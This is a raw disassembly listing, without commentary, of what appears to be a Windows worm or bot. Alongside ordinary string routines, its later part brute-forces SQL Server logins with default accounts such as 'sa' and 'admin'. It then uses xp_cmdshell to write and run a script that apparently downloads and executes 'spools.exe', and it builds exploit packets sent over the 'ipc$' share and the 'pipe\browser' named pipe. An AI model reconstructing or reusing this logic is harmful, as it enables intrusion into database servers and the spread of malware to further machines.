		and	byte ptr [edi+eax], 0


loc_40D46E:				; CODE XREF: sub_40D41F+1Cj
					; sub_40D41F+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D41F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D476	proc near		; CODE XREF: sub_40CF88+17Cp
					; sub_4262EA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D48E
		call	sub_4264BC


loc_40D48E:				; CODE XREF: sub_40D476+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D4A0
		mov	esi, [ebp+arg_8]


loc_40D4A0:				; CODE XREF: sub_40D476+25j
		cmp	edi, ebx
		jnz	short loc_40D4C2
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D63A
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D63A
		jmp	short loc_40D53B
; ---------------------------------------------------------------------------


loc_40D4C2:				; CODE XREF: sub_40D476+2Cj
		test	esi, esi
		jbe	short loc_40D505
		cmp	esi, eax
		jnz	short loc_40D505
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D4D6
		mov	eax, offset dword_4276A8


loc_40D4D6:				; CODE XREF: sub_40D476+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D505
		push	1
		mov	ecx, edi
		call	sub_40D5C9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D4F1
		mov	eax, offset dword_4276A8


loc_40D4F1:				; CODE XREF: sub_40D476+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D53B
; ---------------------------------------------------------------------------


loc_40D505:				; CODE XREF: sub_40D476+4Ej
					; sub_40D476+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D53B
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D51F
		mov	eax, offset dword_4276A8


loc_40D51F:				; CODE XREF: sub_40D476+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	near ptr sub_41C9B0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D53B:				; CODE XREF: sub_40D476+4Aj
					; sub_40D476+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D476	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D544	proc near		; CODE XREF: sub_40CF88+3Dp
					; sub_40D3C6+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D556
		call	sub_426290


loc_40D556:				; CODE XREF: sub_40D544+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D57F
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D57F
		cmp	al, 0FFh
		jz	short loc_40D57F
		cmp	edi, edx
		jnz	short loc_40D5BA
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D574:				; CODE XREF: sub_40D544+47j
		mov	ecx, esi
		call	sub_40D5C9


loc_40D57B:				; CODE XREF: sub_40D544+4Bj
					; sub_40D544+52j
		xor	al, al
		jmp	short loc_40D5C4
; ---------------------------------------------------------------------------


loc_40D57F:				; CODE XREF: sub_40D544+19j
					; sub_40D544+20j ...
		cmp	edi, edx
		jnz	short loc_40D598
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D58D
		push	1
		jmp	short loc_40D574
; ---------------------------------------------------------------------------


loc_40D58D:				; CODE XREF: sub_40D544+43j
		cmp	ecx, edx
		jz	short loc_40D57B
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D57B
; ---------------------------------------------------------------------------


loc_40D598:				; CODE XREF: sub_40D544+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D5B5
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D5AA
		cmp	eax, edi
		jnb	short loc_40D5C2


loc_40D5AA:				; CODE XREF: sub_40D544+60j
		push	1
		mov	ecx, esi
		call	sub_40D5C9
		jmp	short loc_40D5BA
; ---------------------------------------------------------------------------


loc_40D5B5:				; CODE XREF: sub_40D544+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D5C2


loc_40D5BA:				; CODE XREF: sub_40D544+28j
					; sub_40D544+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D6A1


loc_40D5C2:				; CODE XREF: sub_40D544+64j
					; sub_40D544+74j
		mov	al, 1


loc_40D5C4:				; CODE XREF: sub_40D544+39j
		pop	edi
		pop	esi
		retn	8
sub_40D544	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5C9	proc near		; CODE XREF: sub_40CF88+1Fp
					; sub_40CF88+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D5F5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D5F5
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D5EE
		cmp	al, 0FFh
		jz	short loc_40D5EE
		dec	al
		mov	[ecx], al
		jmp	short loc_40D5F5
; ---------------------------------------------------------------------------


loc_40D5EE:				; CODE XREF: sub_40D5C9+19j
					; sub_40D5C9+1Dj
		push	ecx
		call	sub_41D323
		pop	ecx


loc_40D5F5:				; CODE XREF: sub_40D5C9+8j
					; sub_40D5C9+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D605	proc near		; CODE XREF: .nsp0:0040D325p
					; sub_40D75E+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D544
		test	al, al
		jz	short loc_40D633
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	near ptr sub_41C9B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D633:				; CODE XREF: sub_40D605+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D605	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D63A	proc near		; CODE XREF: sub_40D476+39p
					; sub_40D476+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D64D
		call	sub_4264BC


loc_40D64D:				; CODE XREF: sub_40D63A+Cj
		mov	ecx, edi
		call	sub_40D75E
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D663
		mov	ebx, eax


loc_40D663:				; CODE XREF: sub_40D63A+25j
		test	ebx, ebx
		jbe	short loc_40D699
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D330
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D544
		test	al, al
		jz	short loc_40D699
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D699:				; CODE XREF: sub_40D63A+2Bj
					; sub_40D63A+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D63A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6A1	proc near		; CODE XREF: sub_40D544+79p
		mov	eax, offset loc_426CB4
		call	sub_41D304
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D6C7
		mov	edi, [ebp+8]


loc_40D6C7:				; CODE XREF: sub_40D6A1+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D6D4
		xor	eax, eax


loc_40D6D4:				; CODE XREF: sub_40D6A1+2Fj
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D705
; ---------------------------------------------------------------------------


loc_40D6E0:				; DATA XREF: .nsp0:00427FE4o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D6EF
		xor	eax, eax


loc_40D6EF:				; CODE XREF: sub_40D6A1+4Aj
		push	eax
		call	sub_41D665
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D6FF
		retn
; ---------------------------------------------------------------------------


loc_40D6FF:				; DATA XREF: sub_40D6A1+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D705:				; CODE XREF: sub_40D6A1+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D723
		cmp	eax, edi
		jbe	short loc_40D712
		mov	eax, edi


loc_40D712:				; CODE XREF: sub_40D6A1+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_40D723:				; CODE XREF: sub_40D6A1+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D5C9
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D743
		mov	edi, ebx


loc_40D743:				; CODE XREF: sub_40D6A1+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D6A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D75E	proc near		; CODE XREF: sub_40D63A+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D78B
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D78B
		cmp	al, 0FFh
		jz	short loc_40D78B
		push	1
		call	sub_40D5C9
		push	esi
		call	sub_41B890
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D605


loc_40D78B:				; CODE XREF: sub_40D75E+9j
					; sub_40D75E+10j ...
		pop	edi
		pop	esi
		retn
sub_40D75E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78E	proc near		; DATA XREF: .nsp0:0042900Co
		test	byte_4E180C, 1
		jnz	short loc_40D79E
		or	byte_4E180C, 1


loc_40D79E:				; CODE XREF: sub_40D78E+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
sub_40D78E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, 8Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	[ebp+0A8h], ebx
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E13E
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40E62B
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	[ebp+0A8h], ebx
		mov	edi, esp
		mov	[ebp-8], eax
		rep movsd
		call	sub_40EA50
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40D81D
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_40D81D
		test	eax, eax
		jz	short loc_40D820


loc_40D81D:				; CODE XREF: .nsp0:0040D811j
					; .nsp0:0040D817j
		push	1
		pop	eax


loc_40D820:				; CODE XREF: .nsp0:0040D81Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E34h
		mov	al, byte_443398
		push	ebx
		mov	[ebp-1], al
		lea	eax, [ebp-10h]
		push	esi
		xor	ebx, ebx
		push	eax
		mov	esi, offset aSa	; "sa"
		push	ebx
		push	1
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-30h], offset aRoot ; "root"
		mov	dword ptr [ebp-2Ch], offset aAdmin ; "admin"
		mov	[ebp-28h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-8], ebx
		call	dword_4D116C
		test	ax, ax
		jnz	short loc_40D885
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-10h]
		call	dword_4D1278
		test	ax, ax
		jz	short loc_40D88C


loc_40D885:				; CODE XREF: .nsp0:0040D86Cj
		xor	eax, eax
		jmp	loc_40DACD
; ---------------------------------------------------------------------------


loc_40D88C:				; CODE XREF: .nsp0:0040D883j
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-10h]
		push	2
		call	dword_4D116C
		test	ax, ax
		jnz	loc_40DAC0
		test	esi, esi
		push	edi
		mov	[ebp-18h], ebx
		jz	loc_40DAB1
		mov	edi, dword_427064
		lea	ecx, [ebp-34h]
		mov	[ebp-20h], ecx


loc_40D8BC:				; CODE XREF: .nsp0:0040DA19j
		cmp	off_429248, ebx
		mov	[ebp-14h], ebx
		jz	loc_40DA05
		mov	ebx, [ecx]
		mov	eax, offset off_429248
		mov	esi, eax


loc_40D8D4:				; CODE XREF: .nsp0:0040D948j
		lea	ecx, [ebp-1]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	ebx
		push	dword ptr [ebp+0A8h]
		push	eax
		lea	eax, [ebp-0A34h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		lea	eax, [ebp-22h]
		push	0
		push	eax
		lea	eax, [ebp-0E34h]
		push	400h
		push	eax
		lea	eax, [ebp-0A34h]
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp-0A34h]
		push	eax
		push	0
		push	dword ptr [ebp-0Ch]
		call	dword_4D122C
		test	ax, ax
		jz	short loc_40D94F
		cmp	ax, 1
		jz	short loc_40D94F
		push	1F4h
		call	edi ; dword_427064
		inc	dword ptr [ebp-14h]
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_40D8D4
		jmp	loc_40DA03
; ---------------------------------------------------------------------------


loc_40D94F:				; CODE XREF: .nsp0:0040D92Ej
					; .nsp0:0040D934j
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	dword_4D116C
		mov	esi, offset aSpools_exe	; "spools.exe"
		push	esi
		push	esi
		call	sub_41BF92
		push	eax
		call	sub_41BF92
		push	eax
		push	dword_4D0F20
		push	dword ptr [ebp+8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-634h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_41BF36
		add	esp, 20h
		lea	eax, [ebp-634h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4D11B4
		test	ax, ax
		jz	short loc_40D9F8
		mov	ebx, 1388h
		push	ebx
		call	edi ; dword_427064
		push	esi
		lea	eax, [ebp-634h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset unk_438DF4
		push	eax
		call	sub_41BF36
		add	esp, 18h
		lea	eax, [ebp-634h]
		push	0FFFFFFFDh
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4D11B4
		test	ax, ax
		jz	short loc_40DA1E
		push	ebx
		call	edi ; dword_427064


loc_40D9F8:				; CODE XREF: .nsp0:0040D9AAj
		push	dword ptr [ebp-8]
		push	3
		call	dword_4D120C


loc_40DA03:				; CODE XREF: .nsp0:0040D94Aj
		xor	ebx, ebx


loc_40DA05:				; CODE XREF: .nsp0:0040D8C5j
		mov	ecx, [ebp-20h]
		inc	dword ptr [ebp-18h]
		add	ecx, 4
		mov	[ebp-20h], ecx
		cmp	[ecx], ebx
		jz	loc_40DAB1
		jmp	loc_40D8BC
; ---------------------------------------------------------------------------


loc_40DA1E:				; CODE XREF: .nsp0:0040D9F3j
		mov	eax, [ebp-14h]
		mov	dword ptr [ebp-1Ch], 1
		push	off_429248[eax*4]
		mov	eax, [ebp-18h]
		push	dword ptr [ebp+eax*4-34h]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+0A8h]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset unk_438DB0
		lea	eax, [ebp-234h]
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 20h
		cmp	dword ptr [ebp+0BCh], 0
		jnz	short loc_40DA8F
		push	0
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4099D2
		add	esp, 14h


loc_40DA8F:				; CODE XREF: .nsp0:0040DA6Fj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_438050[eax]
		lea	eax, dword_438050[eax]


loc_40DAB1:				; CODE XREF: .nsp0:0040D8AAj
					; .nsp0:0040DA13j
		push	dword ptr [ebp-0Ch]
		push	2
		call	dword_4D120C
		mov	ebx, [ebp-1Ch]
		pop	edi


loc_40DAC0:				; CODE XREF: .nsp0:0040D89Ej
		push	dword ptr [ebp-10h]
		push	1
		call	dword_4D120C
		mov	eax, ebx


loc_40DACD:				; CODE XREF: .nsp0:0040D887j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DAD1	proc near		; DATA XREF: .nsp0:00429010o
		jmp	$+5
sub_40DAD1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DAD6	proc near
		mov	eax, dword_4390A8
		add	eax, 6
		mov	dword_4D3F14, eax
		retn
sub_40DAD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAE4	proc near		; CODE XREF: sub_40DAE4+D0p
					; .nsp0:0040E065p

var_74BF8B40	= dword	ptr -74BF8B40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40DAF8
		or	[ebp+arg_7], 1
		jmp	short loc_40DAFC
; ---------------------------------------------------------------------------


loc_40DAF8:				; CODE XREF: sub_40DAE4+Cj
		and	[ebp+arg_7], 0FEh


loc_40DAFC:				; CODE XREF: sub_40DAE4+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40DB20
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40DB32
; ---------------------------------------------------------------------------


loc_40DB20:				; CODE XREF: sub_40DAE4+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40DB32:				; CODE XREF: sub_40DAE4+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40DBCB
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 0B40000h
		add	[ebp+var_74BF8B40], 45h
		cld
		cmp	[ebp+var_8], eax
		jnz	short loc_40DBC2
		push	[ebp+arg_20]
		call	sub_41B961
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40DBBE
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40DAE4
		add	esp, 2Ch
		jmp	short loc_40DBCD
; ---------------------------------------------------------------------------


loc_40DBBE:				; CODE XREF: sub_40DAE4+B3j
		mov	al, 1
		jmp	short loc_40DBCD
; ---------------------------------------------------------------------------


loc_40DBC2:				; CODE XREF: sub_40DAE4+A4j
		push	[ebp+arg_20]
		call	sub_41B961
		pop	ecx


loc_40DBCB:				; CODE XREF: sub_40DAE4+61j
		xor	al, al


loc_40DBCD:				; CODE XREF: sub_40DAE4+D8j
					; sub_40DAE4+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DAE4	endp

; ---------------------------------------------------------------------------


loc_40DBD2:				; CODE XREF: sub_40E13E+15p
					; sub_40E13E+3Dp
		push	ebp
		mov	ebp, esp
		mov	eax, 60E0h
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	offset a_	; "."
		push	eax
		call	sub_41D800
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40DC48
		lea	eax, [ebp+0Ch]
		mov	esi, 2000h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-20E0h]
		push	esi
		push	eax
		call	sub_41C030
		push	20h
		lea	eax, [ebp-0E0h]
		push	ebx
		push	eax
		call	sub_41BC40
		lea	eax, [ebp-20E0h]
		add	esp, 1Ch
		mov	[ebp-0CCh], eax
		mov	eax, offset byte_443398
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp-0E0h]
		push	eax
		call	dword_4D1298
		jmp	short loc_40DC4D
; ---------------------------------------------------------------------------


loc_40DC48:				; CODE XREF: .nsp0:0040DBF6j
		mov	esi, 2000h


loc_40DC4D:				; CODE XREF: .nsp0:0040DC46j
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp-40E0h]
		push	esi
		push	eax
		call	sub_41C030
		add	esp, 10h
		lea	eax, [ebp-40E0h]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40DC92


loc_40DC8B:				; CODE XREF: .nsp0:0040DD6Aj
					; .nsp0:0040DF4Fj ...
		xor	eax, eax
		jmp	loc_40E139
; ---------------------------------------------------------------------------


loc_40DC92:				; CODE XREF: .nsp0:0040DC89j
		push	48h
		lea	eax, [ebp-0BCh]
		push	ebx
		push	eax
		call	sub_41BC40
		push	10h
		mov	byte ptr [ebp-0BCh], 5
		pop	eax
		mov	[ebp-0BBh], bl
		push	1
		mov	[ebp-0B8h], eax
		pop	edi
		mov	byte ptr [ebp-0BAh], 0Bh
		push	eax
		lea	eax, [ebp-9Ch]
		push	offset dword_4390FC
		push	eax
		mov	byte ptr [ebp-0B9h], 3
		mov	word ptr [ebp-0B4h], 48h
		mov	[ebp-0B2h], bx
		mov	[ebp-0B0h], ebx
		mov	word ptr [ebp-0ACh], 10B8h
		mov	word ptr [ebp-0AAh], 10B8h
		mov	[ebp-0A8h], ebx
		mov	[ebp-0A4h], edi
		mov	[ebp-0A0h], bx
		mov	byte ptr [ebp-9Eh], 1
		call	near ptr sub_41C9B0
		push	10h
		lea	eax, [ebp-88h]
		push	offset dword_4390E8
		push	eax
		mov	dword ptr [ebp-8Ch], 3
		call	near ptr sub_41C9B0
		add	esp, 24h
		lea	eax, [ebp-0C0h]
		mov	dword ptr [ebp-78h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0BCh]
		push	48h
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 0B40000h
		xchg	eax, ebx
		test	eax, eax
		jnz	short loc_40DD6F


loc_40DD61:				; CODE XREF: .nsp0:0040DE41j
		push	dword ptr [ebp-8]
		call	dword_42706C	; CloseHandle
		jmp	loc_40DC8B
; ---------------------------------------------------------------------------


loc_40DD6F:				; CODE XREF: .nsp0:0040DD5Fj
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		lea	eax, [ebp-60E0h]
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4270E8	; ReadFile
		push	ebx
		call	sub_41D721
		push	eax
		call	sub_41BF88
		push	14h
		lea	eax, [ebp-74h]
		push	41h
		push	eax
		call	sub_41BC40
		push	1Ch
		lea	eax, [ebp-34h]
		push	41h
		push	eax
		call	sub_41BC40
		add	esp, 20h
		call	sub_41BF92
		mov	esi, [ebp+0C4h]
		mov	[ebp-74h], eax
		mov	[ebp-68h], edi
		mov	[ebp-6Ch], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-70h], edi
		shl	esi, 2
		mov	[ebp-64h], bx
		cmp	byte_439090[esi], bl
		jz	short loc_40DDE9
		push	4
		mov	[ebp-28h], edi
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], edi
		push	offset dword_4D3F1C
		jmp	short loc_40DDFC
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: .nsp0:0040DDD5j
		push	2
		mov	[ebp-2Ch], ebx
		pop	eax
		push	4
		mov	[ebp-28h], eax
		mov	[ebp-30h], eax
		push	(offset	loc_4390DF+1)


loc_40DDFC:				; CODE XREF: .nsp0:0040DDE7j
		lea	eax, [ebp-24h]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		call	sub_41BF92
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-34h], edx
		call	sub_41BF92
		cdq
		idiv	edi
		mov	eax, dword_439084[esi]
		mov	[ebp-1Ch], ebx
		push	eax
		mov	[ebp+0C4h], eax
		inc	edx
		mov	[ebp-20h], edx
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DD61
		mov	eax, [ebp+0C4h]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BC40
		mov	eax, [ebp+0C4h]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BC40
		mov	eax, dword_43908C[esi]
		push	7
		add	eax, edi
		push	offset dword_439078
		push	eax
		mov	[ebp-4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	15Ch
		add	eax, 7
		push	offset dword_438F18
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, dword_439088[esi]
		add	esp, 30h
		cmp	byte_439090[esi], bl
		mov	[ebp-4], eax
		jz	short loc_40DEFE
		push	4
		add	eax, edi
		push	offset dword_4D3F14
		push	eax
		call	near ptr sub_41C9B0
		add	dword ptr [ebp-4], 0Ch
		mov	esi, offset dword_4390A8
		mov	eax, [ebp-4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp-4], eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp-4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 30h
		jmp	short loc_40DF26
; ---------------------------------------------------------------------------


loc_40DEFE:				; CODE XREF: .nsp0:0040DEAFj
		add	eax, edi
		mov	dword ptr [ebp-0Ch], 10h
		mov	[ebp-4], eax
		mov	esi, offset dword_4390A8


loc_40DF0F:				; CODE XREF: .nsp0:0040DF24j
		push	4
		push	esi
		push	dword ptr [ebp-4]
